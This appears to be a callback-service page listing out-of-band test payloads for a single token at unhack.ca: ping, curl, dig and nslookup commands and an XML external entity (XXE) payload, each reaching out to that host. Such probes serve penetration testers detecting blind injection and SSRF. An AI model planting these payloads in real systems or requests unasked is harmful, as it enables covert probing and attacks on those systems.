$ ping -c1 -p 000c1fcb69999dea80f2c91c91c4df00 unhack.ca
 

$ curl http://unhack.ca/p/0c1fcb69999dea80f2c91c91c4df
 

$ dig 0c1fcb69999dea80f2c91c91c4df @unhack.ca
 

$ dig 0c1fcb69999dea80f2c91c91c4df.ns.unhack.ca
 

C:\> nslookup 0c1fcb69999dea80f2c91c91c4df unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/0c1fcb69999dea80f2c91c91c4df">]>
    <foo>&xxe;</foo>